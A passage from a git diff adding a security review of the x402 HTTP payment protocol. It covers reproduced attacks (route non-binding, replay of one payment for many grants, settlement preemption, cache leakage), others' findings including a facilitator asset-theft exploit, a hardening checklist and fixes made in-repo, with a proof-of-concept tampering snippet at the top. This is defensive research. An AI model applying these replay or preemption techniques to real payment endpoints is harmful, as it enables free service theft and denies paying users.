freshPayloadFor("/api/cheap"); + payload.resource.description = "I AM A LIE"; + payload.accepted.extra = { ...payload.accepted.extra, note: "tampered" }; + const headers = hc.encodePaymentSignatureHeader(payload); + const r = await fetch(`${SRV}/api/cheap`, { headers }); + console.log(` tampered accepted.extra -> HTTP ${r.status} ${r.status === 200 ? "ACCEPTED (extra is not signature-bound)" : "rejected"}`); +} diff --git a/research/x402/x402-security-review.md b/research/x402/x402-security-review.md new file mode 100644 index 0000000..791e11f --- /dev/null +++ b/research/x402/x402-security-review.md @@ -0,0 +1,368 @@ +# x402: Does It Work, and Is It Safe? + +**An independent technical review of the x402 HTTP payment protocol — specification, reference SDKs, real-world deployments, and economy.** + +| | | +|---|---| +| **Review date** | 2026-10-11 | +| **Versions tested** | `@x402/core` `2.10.0` (Apr 13, 2026) and `2.28.0` (latest, Sep 2026); source checkout at `x402-foundation/x402` @ `dd927a26` | +| **Method** | Spec + source audit, plus a live local testbed (real SDK middleware, a real facilitator running the SDK's own verification code, official client SDK signing real EIP-712 payloads), plus a literature/industry review | +| **Artifacts** | `research/x402/poc/` (reproducible harness), raw logs in this folder | +| **Revision** | 2026-10-12 — §8 corrected (the app uses **UroPay** on Next.js + Supabase; not Razorpay, not Firebase) and extended with the in-repo remediation record (§8.2). Protocol findings in §1–§7 are unchanged. | + +--- + +## 0. Bottom line + +**Does it work?** Yes, mechanically — I ran the full 402 → sign → retry → settle → serve loop end-to-end against the current published SDK, and it works. **Economically, mostly not yet**: independent analysis removes ~89% of the dollar volume as wash/test/self-dealing, real traffic is roughly **$28k–$42k per day** at an average payment of **$0.05–$0.20**, and the protocol's own public counter has not moved since March 2026. **Security: not safe by default.** I reproduced three of the four most-cited attack classes against the *latest* SDK, and a July 2026 peer-review-style study that black-box tested 15 real facilitators (99% of all x402 traffic) found that **every one violated at least one security rule**, yielding **31 previously-unknown vulnerabilities** including validated free-shopping and asset-theft exploits. + +**The core structural problem in one sentence:** x402 protects the *token transfer* with strong cryptography, but it does **not** protect the *service* — the payment proof is not bound to the resource it buys, is not single-use at the HTTP layer, and the decision to serve is made in a different layer, at a different time, than the decision that money moved. + +**What is genuinely solid:** price integrity (amount and recipient are cryptographically bound — I could not tamper with either direction), fail-closed behaviour (no bypass when the facilitator is down, malformed, or ambiguous), robust path-normalisation in the reference Express adapter, and a well-maintained, fast-moving codebase. + +--- + +## 1. What x402 actually is + +x402 revives HTTP `402 Payment Required` (reserved since 1997) as a machine-readable payment negotiation layer. Three roles: + +| Role | Job | +|---|---| +| **Client** (agent, script, browser) | Signs a payment authorization; retries the request with proof | +| **Resource server** (merchant) | Prices endpoints, verifies proof, gates access, triggers settlement | +| **Facilitator** (usually a third party) | Verifies proofs and submits the on-chain transaction, **paying the gas** | + +**Wire format (v2).** Server returns `402` with `PAYMENT-REQUIRED` (base64 JSON: `resource`, `accepts[]` with `scheme/network/asset/amount/payTo/maxTimeoutSeconds/extra`). Client retries with `PAYMENT-SIGNATURE` (base64 JSON: `x402Version`, `payload` = signed authorization, `accepted`, optional `resource`). Server returns `PAYMENT-RESPONSE` with the tx hash. (v1 used `X-PAYMENT`.) + +**EVM settlement** is a gasless EIP-3009 `transferWithAuthorization`: the client signs an EIP-712 `TransferWithAuthorization` over exactly six fields — `from`, `to`, `value`, `validAfter`, `validBefore`, `nonce`. The facilitator submits it and pays gas. **No facilitator, resource, route, or price identifier is inside that signature** — this single design fact is the root of several findings below. + +**Payment flows (added mid-2026, current SDK).** `authorization` = verify → **run handler** → settle. `upfront` = settle → run handler. `escrow` = both. For EVM EIP-3009 and Permit2, **the default is still `authorization`** (`paymentFlows = { eip3009: { supported: ["authorization","upfront"], default: "authorization" } }`). + +**Governance.** Started at Coinbase (May 2025), x402 Foundation with Cloudflare (Sept 2025), contributed to the **Linux Foundation** (launched April 2026 with 22 members; operational 14 July 2026 with ~40 members incl. Visa, Mastercard, Google, AWS, Stripe, Cloudflare). The canonical repo moved to `x402-foundation/x402`; `coinbase/x402` is now a development fork. 6.7k stars, 2,160 forks, **698 open issues**, 80–200 commits/month, 354 contributors — actively developed (and, judging by the issue count, actively churning). + +--- + +## 2. Does it work? + +### 2.1 Mechanically: yes — verified myself + +``` +unpaid GET /api/cheap -> 402 (PAYMENT-REQUIRED, cache-control: no-store) +client signs EIP-3009, retries w/ header -> 200 {"resource":"cheap",...} (+ PAYMENT-RESPONSE) +402 -> sign -> retry -> settle -> serve -> full loop works +``` + +Adoption infrastructure is real: AWS integrated x402 into CloudFront (June 2026) and shipped AgentCore payments GA (18 Aug 2026); Cloudflare exposes x402 in its edge stack; Circle, Visa and others have published integrations. + +### 2.2 Economically: the numbers are much weaker than the headline + +| Metric | Value | Source | +|---|---|---| +| Coinbase-reported cumulative | 165M transactions, ~$50M volume, 69k agents (Apr 2026); 185M+ / ~480k agents (Jun 2026) | issuer-reported, unaudited | +| Artemis + Visa, after filtering | **109.6M transactions, ~$15.0M** — i.e. **89% of dollar volume removed** as wash/test/internal; avg payment **$0.14** | Artemis/Visa report, data as of 21 Apr 2026 | +| Independently verifiable daily settlement | **~$28,000–$41,800/day**, ~131k tx/day, avg **$0.05–$0.20** | CoinDesk (Mar 2026), Helios Analytics (Sept 2026) | +| Sellers | ~5,300 counted vs 22,000 displayed | Artemis/Visa | +| Trend | daily settlement volume **down 93% YTD**, **down 55% over 3 months** (7-day avg ~$41.8k vs Q4-2025 peaks near $800k/day) | Helios Analytics, Sept 2026 | +| Coinbase's own concession | **25–30%** of transactions "may have been generated by users trying to climb public leaderboards" | Lincoln Murr (Coinbase), CoinDesk, 23 Aug 2026 | +| The public counter | x402.org "Last 30 Days" showed the *same four numbers* in March, July, twice in August and again in September 2026 | independent audit of the page | +| Base's own 30-day figure | 3.1M transactions / $1.2M value | Base, 29 May 2026 | + +Productisation is also still gated: **Cloudflare Pay Per Crawl is *still* closed beta 15 months after launching (Jul 2025)**, its "accrued earnings balance is not currently visible in the dashboard," and the Monetization Gateway is a US-only closed beta (opened 30 Sept 2026). Cloudflare's wallet handles (`*.cloudflare.pay`) could be *reserved* but as of 15 Sept 2026 **could not send, receive or hold funds**. Cloudflare's own claim of ">1 billion 402 responses/day" measures *challenges issued*, not payments made. + +The honest reading of a real deployment: a developer who ran a paid-per-page site since 8 Aug 2026 reported that **every payment came from his own agents, on testnet** — "no search crawler is turning up and paying me." + +**Verdict on "does it work":** the rail works; the demand isn't there yet, and the published adoption numbers are inflated by roughly an order of magnitude on the metric that matters (money). + +--- + +## 3. Security findings — reproduced against the current SDK + +Everything in this section I ran myself against `@x402/core/express/evm@2.28.0` (latest) using the official client SDK to produce authentic payloads. Raw evidence is in this folder. The merchant and facilitator are the real reference implementations; only the blockchain RPC is stubbed (no chain egress in the sandbox), and I flag exactly what that stub means for each result. + +### 3.1 🔴 A payment is not bound to the resource it buys + +**What the protocol does:** the 402 challenge contains `resource.url`; the client echoes a `resource` object in the retry payload. **Nothing compares them.** Verification checks the EIP-712 signature's `to`, `value`, `validBefore`, and the `accepted` block — never the requested route. + +**Reproduced:** + +| Test | Result | +|---|---| +| Payment bought for `/api/cheap`, sent to `/api/twin` (same price, different endpoint) | **HTTP 200 — twin resource served** | +| Same, with the attacker **rewriting** `resource.url` to `/api/twin` | **HTTP 200** | +| Same, with the `resource` field **deleted entirely** | **HTTP 200** (so it isn't even a string check) | +| Tampering `accepted.extra` (client-supplied) | **HTTP 200** (matching is a subset check, not equality) | + +Code-level confirmation: `findMatchingRequirements()` compares the server's requirement with the client's echoed `accepted` via `paymentRequirementsMatchAccepted()`; the `resource` object is not part of `accepted` and is never consulted. The earlier study (`arXiv:2605.11781`) reported the same thing across three independently audited SDKs: *"a payment signed for resource A on Endpoint-1 can be replayed for resources B, C, and D on the same server."* + +**Impact.** Any two endpoints with the same price, recipient and network share one payment class. This is not a theoretical "£99 for £1" bypass (price *is* enforced — see §3.6), but it breaks per-resource metering, per-resource authorisation, and any audit trail that says "this payment was for *that*". It also means a "pay once, get one" guarantee does not exist per resource. + +**Fix that works with today's USDC:** `nonce` is the only free-form signed field in EIP-3009. A merchant can require `nonce = keccak256(resource_id ‖ salt)` and verify it — binding the authorisation to the route using only fields that already exist. Permit2-based flows can carry it in the witness. Neither is specified or implemented in the reference stack. + +### 3.2 🔴 Replay protection is on-chain only — the HTTP layer has none + +`/verify` is stateless and never records a nonce. I called the reference facilitator's `/verify` five times with the *same* payload: `[true, true, true, true, true]`. Single-use is delegated entirely to the fact that the EIP-3009 nonce can only be consumed once *on chain*. + +**Reproduced (8 parallel requests, one payment, 250 ms non-idempotent handler):** + +| Metric | Result | +|---|---| +| HTTP 200s | **1 / 8** | +| **Server-side executions of the paid handler** | **8 / 8** | +| Wall time | 291 ms | + +Because the default `authorization` flow **runs the handler before settling** (it buffers the response and only releases it if settlement succeeds), the *client* gets one response — but the *server does the work N times*. With a facilitator that doesn't authoritatively enforce single-use on chain — a broadcast-only/optimistic one, a `settlement_pending` path, a degraded RPC, a cache-permitting CDN, or any custom facilitator — I reproduced **full free service**: + +``` +one payment, 6 concurrent replays -> statuses [200,200,200,200,200,200] 6/6 grants +one payment, 10 sequential replays -> 10 × 200 10/10 grants +``` + +Code evidence that this is a design choice, not a bug: the reference project's test suite contains **no replay or idempotency tests for the payment flow at all** (nonce-storage tests exist only for the unrelated `sign-in-with-x` auth extension). The x402 spec's entire security section (§10.1) reads: replay is prevented because "each authorization includes a unique 32-byte nonce" and "EIP-3009 contracts inherently prevent nonce reuse at the smart contract level." That protects the *token*, not the *service*. + +**The only shipped mitigation is opt-in and incomplete:** the `payment-identifier` extension (client-generated idempotency key). It ships helper functions (`generatePaymentId`, `extractPaymentIdentifier`, …) and **no storage/dedup implementation whatsoever** — the application must build the store, the server must declare `required: true`, and the client must choose to send an id. It is not on by default. + +### 3.3 🔴 The payer's authorisation can be consumed by anyone (settlement preemption) + +The signed EIP-712 message has no facilitator field (verified from the SDK's own `authorizationTypes`: `from, to, value, validAfter, validBefore, nonce`). The payload travels in an HTTP header, and **the facilitator itself — plus any observer on the request path — receives everything needed to submit it on chain first.** + +**Reproduced:** + +``` +attacker settles the client's PAYMENT-SIGNATURE directly + -> {"success":true,"transaction":"0x…10"} +legitimate client then requests the resource + -> HTTP 402 ← paid, but denied +``` + +The earlier study validated the same on live testnet: the on-chain transfer succeeded with the attacker's submission, consumed the nonce, and the endpoint's own settlement then failed with a 402. + +**Impact:** the client is charged and receives nothing; the merchant's facilitator burns gas on a reverted transaction. This is a griefing/DoS primitive, not a theft primitive — the money still reaches the merchant. But it also means the merchant **cannot** rely on "my facilitator settled it" as evidence about *who* the payer transacted with, and it makes the facilitator's settlement outcome non-authoritative by construction. + +### 3.4 🟠 Cache leakage: fixed in the SDK, absent from the spec, and historically real + +| Version | `Cache-Control` on 402 | on paid 200 | +|---|---|---| +| `@x402/core` **2.10.0** (Apr 2026) | **none** | **none** | +| `@x402/*` **2.28.0** (Sep 2026) | `no-store` | `private` | + +The fix landed 30 July 2026 (TS/Py #2990, Go #2956) and first shipped in **2.21.0 (4 Aug 2026)**. Before that, a CDN could legitimately cache a paid response and serve it to unpaid clients — the July 2026 study measured exactly that on live endpoints, and the earlier paper reported a "production CDN cache leak". **The specification still contains zero occurrences of `Cache-Control` or `no-store`**, so any implementation not using the reference SDK inherits the bug by default. Anyone pinned to an older SDK, or running an edge/Next.js/Hono deployment with its own caching rules, needs to verify this themselves. + +### 3.5 🟠 Everything the client says about the resource goes to a third party + +Confirmed with a logging proxy in front of the facilitator. The facilitator receives, on **both** `/verify` and `/settle`, the full `paymentRequirements`, the full `accepted` block, the complete authorization (`from`, `to`, `value`, `validBefore`, `nonce`), the signature, **and the client-supplied `resource.description`**: + +``` +>>> FACILITATOR RECEIVES POST /verify + payload.resource : {"url":"http://…/api/cheap", + "description":"CONFIDENTIAL: invoice for jane.doe@acme.com re: 2026 salary review"} +``` + +So a client that puts task context, a user identifier, or a document title into `resource.description` hands it to a third party that is normally under no data-processing agreement. This confirms the core claim of `arXiv:2604.11430` ("every payment request carries metadata to the payment server and the centralised facilitator API before any on-chain settlement occurs"). Also note: the merchant forwards a **bearer credential** (§3.3) to that third party on every request. + +### 3.6 ✅ What holds up (tested, not assumed) + +| Test | Result | +|---|---| +| Forge a cheap payment for the $99 route (sign `value=1`, claim `amount=10000`) | **402** — rejected | +| Claim a smaller accepted amount than the route charges | **402** — rejected | +| Path-normalisation bypasses: `//api/cheap`, `/api/cheap/`, `/API/cheap`, `/%61pi/cheap`, `/api/./cheap`, `/api%2Fcheap`, `//api/cheap`, `/api/x/../cheap` | **all 402** — no bypass | +| Duplicate `PAYMENT-SIGNATURE` headers (sent as raw bytes, two identical header names) | **402** — fails closed | +| Garbage header / v1 downgrade attempt / valid v2 payload in the v1 header | **402** — all rejected | +| Unpaid request with the facilitator unreachable | **500** — no free content (fail-closed) | + +Price and recipient integrity are cryptographically sound. The reference Express adapter is robust to the header-confusion and normalisation classes that the literature flagged against other stacks. + +### 3.7 🟠 Availability: the facilitator is a hard single point of failure + +With the facilitator unreachable, **every** request to a paid route returned `500 Internal Server Error` — including requests with no payment at all. There is no graceful degradation, no fallback, and the default facilitator request timeout is **90 seconds**, during which a hanging facilitator holds the request open. Given that one facilitator (Coinbase, 77.17M transactions / $26.85M) accounts for the clear majority of the ecosystem, this is an ecosystem-level concentration risk: **a single operator's outage degrades unrelated merchants, and a flaw in one facilitator affects every merchant behind it.** + +--- + +## 4. What other researchers found (and I did not re-run) + +| Work | Key findings | +|---|---| +| **`arXiv:2607.19545`** — *When HTTP 402 Meets the Blockchain* (Jul 2026). Black-box tested **15 real facilitators** used by >60k sellers / >360k buyers, collectively **99% of x402 transactions** | **49 rule violations → 31 previously-unknown vulnerabilities. Every facilitator violated ≥1 rule; every rule was violated by ≥1 platform.** SR7 (re-verify before settle) violated by **14/15**; SR5 (fail-fast, idempotency, freshness) **14/15**; SR8 (unambiguous settlement semantics) **9/15**. Four attack classes: **Free Shopping, Asset Theft, Service Denial, Gas Abuse**. A validated **free-shopping** exploit: `/verify` is stateless and doesn't reserve the nonce, `/settle` isn't bound to a verification result → one proof reused across many concurrent requests. A validated **ERC-6492 asset-theft** exploit at a top-volume facilitator: attacker-controlled `factoryAddress`/`factoryCalldata` were submitted blindly by the facilitator's settlement EOA, letting an attacker encode `approve`/`transfer` and drain the facilitator — *and the API reported failure even after the attacker's transaction confirmed*. Ecosystem cost: **> $202k burned in gas/fees**, incl. **$5.8k purely on reverting submissions**; 22.9k ATA-creating transactions cost >$5.7k. Reported to vendors Jan 2026; Coinbase, PayAI and Mogami acknowledged and confirmed six distinct vulnerabilities, some fixed; **one facilitator (xEcho) had no security reporting channel at all.** | +| **`arXiv:2605.11781`** — *Five Attacks on x402* (May 2026), 25,000+ requests across 48 configs, plus 3 SDK audits and 4 live endpoints | Settlement-path inconsistency (revert-grant under optimistic execution; **unauthorised settlement preemption**), **replay/idempotency (DGR = n; on a live endpoint, 248 grants from a single payment)**, header/proxy confusion + **cache leakage on live CDNs**, and **agent server-selection manipulation** (up to **71.8%** bias under metadata manipulation, **60.2%** under 5-Sybil flooding). Revert-grant probability up to **5.18% even with honest facilitators**. Discovery registry measured at 13,760 endpoints across 420 domains, with the top 9 domains holding **87.8%** of registrations and **one domain 77.5%**. | +| **`arXiv:2604.11430`** — *Hardening x402: PII-Safe Agentic Payments* (Jun 2026) | Confirms payment metadata is sent to server + centralised facilitator pre-settlement with no DPA; proposes pre-execution redaction, spending policies, and replay-guarded clients. Reports PERSON recall ceiling ≈50% for PII in URL-path metadata. | +| **`x402-conformance`** (community tooling) | Ships explicit checks for "paywall bypass by re-encoding the request path" (RS-SEC-012) and replay rejection, implying both have been observed in the wild. | + +### Published advisories for the SDKs + +| Advisory | Severity | Affected | Fixed in | Substance | +|---|---|---|---|---| +| **GHSA-3j63-5h8p-gf7c** (20 Aug 2025) | High | `x402`, `x402-next`, `x402-express`, `x402-hono` `<0.5.2` | 0.5.2 | Vulnerability in outdated SDK versions; "primarily impacts builders working on resource servers" (details withheld) | +| **GHSA-qr2g-p6q7-w82m** (6 Mar 2026) | High | `@x402/svm` `<2.6.0`, `x402` (PyPI) `<2.3.0`, Go `<2.5.0` | 2.6.0 / 2.3.0 / 2.5.0 | Signature-verification flaw on **Solana**: a malformed/reused `PAYMENT-SIGNATURE` could be accepted as valid → free API access without settlement. Fix path: simulation-based smart-wallet verification (adds CPI-inner-instruction inspection, fee-payer isolation, address-lookup-table resolution). | + +### Ecosystem incident + +**402Bridge (Oct 2025):** an x402-ecosystem bridge lost user funds after a private-key leak — *"the authorization mechanism had been poorly designed, users had granted the contract unlimited allowance, allowing the attacker to drain their assets directly"*; ~200 users affected, hundreds of thousands of dollars, funds laundered cross-chain. Not a protocol flaw per se, but it is the pattern the ecosystem's unlimited-approval and gas-sponsoring extensions invite. + +### Independent audit status + +I could not find a published third-party audit of the x402 protocol or reference SDKs by a major firm (Trail of Bits / OpenZeppelin / Certora / etc.). The security work that exists is academic (the three papers above), community tooling, GitHub advisories, and a HackerOne channel for Coinbase. For a protocol positioning itself as payments infrastructure used by Visa/Mastercard/AWS/Cloudflare, that is a **material assurance gap**. + +--- + +## 5. Consolidated vulnerability catalogue + +Severity reflects exploitability × impact *in a default reference deployment*, not CVSS theatre. + +| # | Issue | Severity | Reproduced? | Status | +|---|---|---|---|---| +| 1 | Payment not bound to resource/route | **High** | Yes, latest SDK | Open — not specified, not implemented | +| 2 | No HTTP-layer idempotency; replay ⇒ duplicate grants when settlement isn't authoritative | **High** | Yes (6/6, 10/10 with non-authoritative settle) | Open — opt-in extension only | +| 3 | Handler executes before settlement ⇒ N× unpaid compute per payment | **High** | Yes (8 executions / 1 payment) | Default flow; `upfront` exists but is not the default | +| 4 | Settlement preemption ⇒ paid-but-denied | **Medium-High** | Yes | Open — inherent to EIP-3009 + header transport | +| 5 | Facilitator `/verify` stateless, no nonce reservation (SR7/TOCTTOU) | **Medium-High** | Yes (5/5 verify true) | Open — in reference facilitator & all 15 live ones tested | +| 6 | Cache leakage of paid responses | **Medium** | Yes on 2.10.0 (none); fixed in ≥2.21.0 | Fixed in SDK; **not in spec**; old deployments exposed | +| 7 | Client metadata forwarded to third-party facilitator | **Medium** (privacy/compliance) | Yes | Open — by design | +| 8 | Facilitator as hard single point of failure (500s, 90 s default timeout) | **Medium** (availability) | Yes | Open | +| 9 | ERC-6492 settlement semantics → facilitator asset theft | **Critical** (on affected facilitators) | Reported by others; top-volume facilitator affected | Vendor mitigation in progress | +| 10 | Sponsored-gas abuse / unbounded cost | **Medium** | Reported by others (>$202k ecosystem costs) | Open — bounds not standardised | +| 11 | Solana signature-verification bypass | **High** | Advisory | Fixed ≥2.6.0 | +| 12 | Agent discovery manipulation (Sybil / metadata poisoning) | **Medium** | Reported by others | Open | + +**Specification-level gap summary** (grepped across all specs): the word `Cache-Control` — never appears. `idempotency` — appears only in the optional extension and one `SHOULD` in the Hedera scheme. `TOCTTOU` / "re-verify before settle" — never. "resource binding" — never. The spec's security section covers on-chain replay and nothing else. **The attacks above are not implementation accidents; they are unspecified behaviours that each implementer re-decides.** + +--- + +## 6. Why this shape of problem exists + +x402 is a *synchronous web* layer bolted onto an *asynchronous settlement* layer, with a *third party* in the middle: + +1. **The gate is weaker than the guarantee.** Access is gated on `verify` (off-chain, stateless, cheap to fake-check) while money moves at `settle` (on-chain, later). Everything called "paid" is really "a valid-looking promise". +2. **The signature covers money, not intent.** EIP-3009's message has no field for *what* was bought, so the protocol cannot express "this £0.01 buys GET /api/cheap once at 14:02". +3. **Trust is centralised but responsibility isn't.** Facilitators concentrate trust (one flaw → every merchant behind it), yet the spec doesn't require them to re-verify, to bound gas, to enforce idempotency, or to keep proof semantics unambiguous. +4. **Incentives reward volume.** Gas is sponsored by the facilitator, so attackers can make victims pay for *failed* transactions; and because the public metrics are transaction counts, the ecosystem rewards exactly the activity that inflates them (25–30% by Coinbase's own estimate). + +--- + +## 7. If you build on x402: hardening checklist + +Ordered by impact. Items 1–5 are non-negotiable for anything handling real money. + +**Merchant / resource server** + +1. **Never release a resource on `verify` alone.** Require a confirmed on-chain settlement (receipt + nonce-consumed check) before serving — or use the `upfront`/`escrow` flow if the reference SDK version supports it. `authorization` (default) means you do the work first and hope. +2. **Add your own idempotency store keyed on the payment identity** (`payer + nonce`, or the `payment-identifier` id). Reject duplicates *atomically before* dispatch — a `SELECT … FOR UPDATE` / Redis `SETNX`, not an in-process Map. Do not rely on the extension being enforced; it ships no store. +3. **Bind the payment to the route yourself.** Require the EIP-3009 `nonce` to be `keccak256(resource_id ‖ client_salt)` (or use Permit2's witness) and verify it. This is the only free-form signed field available today. +4. **Set `Cache-Control: no-store` on 402s and `no-store` (or at minimum `private`) on paid responses** at the app, CDN, and edge layers — and test it through your actual CDN. +5. **Set aggressive facilitator timeouts** (a few seconds, not the 90 s default), implement a circuit breaker, and fail closed with `402`/`503` (not `500`) so clients can retry. +6. **Treat the facilitator as untrusted infrastructure.** Cross-check the returned tx hash against an independent RPC; prefer a reputable facilitator or self-host; maintain a fallback; log both verify and settle outcomes with the payment identity. +7. **Do not put anything sensitive in `resource.description`** — it goes to the facilitator in cleartext. +8. **For anything with side effects (email, DB writes, LLM calls, provisioning), require settlement first** or make the effect idempotent and reversible. Otherwise one payment buys N executions. +9. **Re-verify before settling** (freshness window, balance, nonce still unused) to avoid paying gas on reverts — a cost hole the July study measured across the whole ecosystem. +10. **Consider not exposing `ERC-1271`/`ERC-6492` support** unless your facilitator demonstrably constrains settlement semantics (this is the class that enabled the validated asset-theft exploit). + +**Facilitator operator** + +11. **Reserve nonces atomically at verify time**, not just at settle — otherwise concurrent replays all pass. +12. **Enforce a minimum remaining validity window** and re-verify immediately before broadcast (SR7). Live facilitators were observed enforcing as little as 3–7 s at verify and nothing at settle. +13. **Bound sponsored execution**: explicit gas/compute caps, allow-listed program/contract calls, reject zero-value and unprofitable payments, and reject any settlement payload with unexpected instructions, extra signers, or alternative token programs. +14. **Never blindly execute attacker-supplied deployment calldata** — validate ERC-6492 wrappers cryptographically and verify the target is a genuine counterfactual wallet address. +15. **Return success only when it is true**: a `success` response must mean the intended transfer settled on chain — not that a transaction was broadcast, and not while side effects from unrelated attacker-chosen execution have already occurred. + +**Client / agent** + +16. Cap spend per payee, per endpoint, per time window; allow-list endpoints; refuse to sign for unexpected `payTo`/`asset`. +17. Assume the payment header is a bearer credential — don't log it, don't route it through third-party proxies, prefer TLS end-to-end to the merchant. +18. Expect prompt-injection attacks: a fetched page can contain a `402`-shaped instruction convincing your agent to pay. x402 makes "pay this address" a legitimate-looking action. +19. Verify receipts: check the tx hash on chain rather than trusting `PAYMENT-RESPONSE`. + +--- + +## 8. Recommendation for this repository (MUN-AI-APP) + +> **Correction (2026-10-12).** An earlier revision of this section described the app as "Next.js/Firebase" with **Razorpay** subscriptions. Both are wrong. The app is **Next.js 16 + Supabase** (no Firebase dependency exists in `package.json`), and the payment provider is **UroPay** (`https://api.uropai.in`), not Razorpay. The recommendations below are unchanged in substance, but are restated against the real stack. The correction is the author's, not the user's — the repo was audited before this section was written and the provider was misread. + +### 8.1 What the app actually runs today + +Two payment rails, deliberately split by payer type: + +| Rail | Payer | Mechanism | State | +|---|---|---|---| +| **UroPay** | Humans (browser sessions) | Server-side order creation → hosted checkout → HMAC-SHA256-signed webhook, 5-minute timestamp window, hex-64 signature compared with `timingSafeEqual`, order status re-fetched authoritatively, full binding validation (order id, merchant ref, amount, currency, environment), HTTPS checkout-host allowlist | **Sound.** Audited line by line; no changes required. | +| **x402** | Bots / agents | `402` + `PAYMENT-REQUIRED` → `PAYMENT-SIGNATURE` → facilitator `/verify` + `/settle` | **Was vulnerable (F1–F10 below). Remediated 2026-10-12.** | + +- **Do not replace UroPay for consumer subscriptions.** x402 adds refunds' absence, chargeback-free irreversibility, a facilitator dependency, key-management burden, and no consumer-protection story — none of which is compensated for by micropayment granularity on a subscription product. The UroPay flow is already server-side, webhook-verified, and UID-bound; x402 would weaken three of those four properties (UID binding becomes wallet binding; webhook verification becomes third-party ascertainment; server-side secrets remain, plus wallet keys now on the critical path). +- **x402 is a plausible fit only for the narrow, metered, machine-facing surface it is already used for** — bot access to `/api/ai/research` and `/api/x402/content`, priced at $0.05 and $0.005, i.e. below the fee floor of any human checkout. Keep it there. Pilot on testnet first (`X402_NETWORK=eip155:84532`). +- **Treat settlement as the gate, not verification**, and keep the route-binding + idempotency controls below, because the protocol does not provide either. + +### 8.2 Defects found in this repository, and what was done about them + +The protocol-level findings in §3 were not hypothetical here: the app's own x402 integration reproduced the *ledger*, *fail-open*, and *replay* classes. All are now fixed in-tree. + +| # | Defect | Severity | Fix | +|---|---|---|---| +| F1 | `payments.uid` was `NOT NULL REFERENCES auth.users(id)`, but the x402 writer supplied `00000000-…-0000` → foreign-key violation on **every** insert, swallowed by a `logger.warn`. The entire bot revenue stream was unrecorded. | 🔴 | `payments.uid` nullable **only** for `plan_id = 'x402-bot-microtransaction'`, enforced by a `CHECK` so human rows still require an owner; writer now returns a boolean and never throws. | +| F2 | Fail-open branch in `app/api/ai/research/route.ts`: any outcome that was not `payment-error` or `payment-verified` set `isX402Bot = true` and served the AI for free. | 🔴 | Deleted. Any non-verified outcome now produces an unconditional fail-closed 402. | +| F3 | No HTTP-layer replay/idempotency — §3.2 applied verbatim. One signed authorization produced N grants against any facilitator not authoritative for single-use. | 🔴 | New primitive-keyed `x402_payment_claims` table + `claimX402Payment`; identity is `sha256("x402-v1\|network\|asset\|payer\|nonce")` from **signed fields only**. Replay → `409 payment_already_consumed`. | +| F4 | Payment not bound to `resource`/`slug`. | 🟠 | `resourceKey` is derived from the route's own parameters and recorded on the claim. | +| F5 | Paid content served with no `Cache-Control`, on **both** paid routes. A CDN was entitled to store a bought body and serve it to unpaid callers for the whole TTL — and `no-cache` (which the AI stream used) still permits a shared cache to *store* it. | 🟠 | All three AI-route response paths plus the content route now emit `private, no-store, max-age=0` for machine callers; every 402/409/429/503 emits `no-store`. | +| F6 | `X402_PAY_TO` defaulted to the placeholder `0x…0001`, so payments could be directed at an address nobody controls. | 🟠 | `assertValidPayTo` now throws on missing, malformed, zero, and sentinel addresses; the server refuses to start the paid route. | +| F7 | Ledger amount used `Math.round(amountUsd * 100)` → $0.005 stored as `1` instead of `5000` atomic USDC. | 🟠 | `usdPriceToAtomicUnits` with explicit 6-decimal handling; unit difference documented in the migration. | +| F8 | `supabase/migrations/20261011_x402_payments.sql` was a no-op (comments only). | ⚪ | Superseded by `20261012_x402_payment_guard.sql`. | +| F9 | Machine callers could not be metered: `reserve_ai_usage` writes `ai_usage_daily.uid`, which references `auth.users`, so **every** paid bot request failed with a 503 *after* the payment had settled. | 🔴 | Machine budget is now enforced against the claims table **before** settlement (over-budget → 429, never charged). Discovered during remediation. | +| F10 | The machine UID `00000000-…-0000` fails the v4 pattern in `saveChatTranscript`, so bot transcripts were silently discarded — no error, no log. | 🟠 | Machine namespace is now `00000000-0000-4000-8000-000000000000`: v4-shaped so storage works, and impossible to collide with a real account. | +| F11 | **Introduced by F9's fix.** F9 rightly stopped the 503 by metering machines on the claims table — but only on *request count*. `responseMode` and `maxTokens` arrive in the caller's own body and were passed straight to the router, so a **$0.05 payment could buy up to 12,000 Kimi K3 completion tokens (~$0.19, 3.8× the price)**. At the 60-request daily cap that is **~$8.30 of net loss per bot per day**, and the number of bots is not bounded. | 🔴 | `lib/server/x402-machine-limits.ts` — `grantedResponseLimits()` fixes a machine caller's mode to the model its payment covers and caps its completion ceiling inside the price. `tests/x402-machine-limits.test.ts` asserts the *cost bound* at the published rates, so raising the ceiling without raising the price fails the suite. | + +**Verified, not assumed.** F1–F11 were fixed with test suites (33 cases across `tests/x402-payment-guard.test.ts` and `tests/x402-machine-limits.test.ts`) that pin the invariants rather than the implementation: + +- exactly one grant under 12-way concurrency; +- no grant when settlement reports success but the claim is already taken (the non-authoritative-facilitator case); +- no grant when the claim store is unreachable; +- an over-budget machine caller refused **without being charged** (settlement call count asserted, not just the status code); +- client-controlled `resource` / `description` / `accepted.extra` fields cannot influence payment identity; +- the placeholder payout address is rejected, and a missing payout address yields a named `503 payment_rail_misconfigured` rather than an opaque 500. + +This suite is wired into CI (`main.yml`, before lint/typecheck) as **`Payment guard tests (behavioural, offline)`**. It was chosen over the full `pnpm test` because the rest of the suite asserts against the live x402 facilitator and needs network egress, which would make CI flaky and red for reasons unrelated to this repo. + +Full suite status: **100 pass / 2 fail** across 102 cases, where the 2 failures are this sandbox's lack of network egress when the facilitator SDK initialises (`no supported payment kinds loaded from any facilitator`). They are not regressions — the same 2 assertions failed before any change, and they pass in CI where egress exists. `typecheck`, `lint` (0 errors), and `check:manifests` are clean. + +**Two operational notes.** `X402_PAY_TO` is now genuinely required — set it to a wallet you control before this deploys, or the paid routes will return 503 by design (the old behaviour was to advertise a burn address and lose the money). And the `payments.amount` column now carries two different units depending on `currency`: whole INR for UroPay, atomic USDC (6 dp) for x402. Filter by `currency` before summing. + +--- + +## 9. Verdict + +| Question | Answer | +|---|---| +| Does the protocol work? | **Yes**, mechanically — verified end-to-end on the current SDK. | +| Is there real economic usage? | **Marginal and inflated.** ~$15M filtered cumulative volume; ~$28–42k/day; 25–30% of activity admitted as leaderboard farming by its own sponsor; public dashboards inconsistent with on-chain reality. | +| Is it production-safe as shipped? | **No.** Not by default. Three attack classes reproduce on the latest SDK, one class had a validated asset-theft exploit on a top facilitator, and every one of 15 live facilitators violated at least one security rule. | +| Can it be made safe? | **Yes, with effort.** Every attack in §5 is mitigable — but mitigation currently lives in application code and operational discipline, not in the protocol. The spec would need to mandate: route/resource binding, atomic single-use at verify, settlement-gated release, cache directives, facilitator re-verification, and 